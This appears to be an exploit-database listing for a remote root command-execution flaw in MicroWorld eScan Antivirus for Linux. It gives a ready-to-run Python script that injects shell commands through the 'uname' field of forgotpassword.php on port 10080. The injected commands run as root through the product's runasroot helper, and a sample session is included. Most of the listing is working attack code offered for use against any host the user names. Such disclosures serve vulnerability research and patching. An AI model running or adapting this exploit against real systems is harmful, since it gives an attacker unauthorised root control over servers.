MicroWorld eScan Antivirus < 3.x Remote Root Command Execution

Exploit Code :

#!/usr/bin/env python
import sys
from socket import *

#auther: Mohammed almutairi
#(Sa.attacker@gmail.com)
"""
MicroWorld eScan Antivirus < 3.x Remote Root Command Execution
Package MWADMIN package vulnerabilities (linux)
The Base Packages (MWADMIN and MWAV) must be installed before eScan
Link:
http://www.escanav.com/english/content/products/escan_linux/linux_products.
asp
infcted: aLL version 3.X eScan linux
1-Escan for Linux Desktop
2-Escan for Linux file Servers
3-MailScan for Linux and webscan
Tested On RedHat and Fedora
ULTRA PRIV8 :)

Description:

From /opt/MicroWorld/var/www/htdocs/forgotpassword.php:
include("common_functions.php"); <---> (1)

if ($_POST['forgot'] == "Send Password")
{
$user = $_POST["uname"]; <--->(2) insecure:(

vulnerable code in forgotpassword.php and common_functions.php
in (1) $runasroot = "/opt/MicroWorld/sbin/runasroot";
we can injection through via the file forgotpassword.php As you can see
(2)
with remote root Command Execution
>> eScan.py www.***.com
eScan@/bin/sh:$Sa$ => reboot
[*] Done! sent to: www.***.com
"""

def xpl():
if len(sys.argv) < 2:
print "[*] MicroWorld eScan Antivirus Remote Root Command
Execution"
print "[*] exploited by Mohammed almutairi"
print "[*] usage: %s host" % sys.argv[0]
return

host = sys.argv[1]
port = 10080 # default port
cmd = raw_input("eScan@/bin/sh:$Sa$ => ")
sock=socket(AF_INET, SOCK_STREAM)
sock.connect((host,port))
sh="/opt/MicroWorld/sbin/runasroot /bin/sh -c '%s'" % cmd

sa= "uname=;%s;" %sh # (;sh;) ---> Here Play See to ^(2)^
sa+= "&forgot=Send+Password"

s="POST /forgotpassword.php HTTP/1.1rn"
s+="Host: %s:%drn"%(host, port)
s+="User-Agent: */*rn"
s+="Accept: ar,en-us;q=0.7,en;q=0.3rn"
s+="Content-Type: application/x-www-form-urlencodedrn"
s+="Content-Length: %d rnrn"%len(sa)
s+=sa

sock.sendall(s)
print "[*] Done! sent to: %s" % host
sock.close()

if __name__=="__main__":
xpl()
sys.exit(0)

Security

IT News

Search

SecurityAlert Database

About SecurityAlert

ExploitAlert Database

SecurityReason Research

WLB Database

Send to WLB

About WLB

Security Audit

Schedule

Prices of services

Contact

SecurityReason IT News

SecurityAlert

World Laboratory of Bugtraq

ExploitAlert

Apache

PHP

Contact

About SecurityReason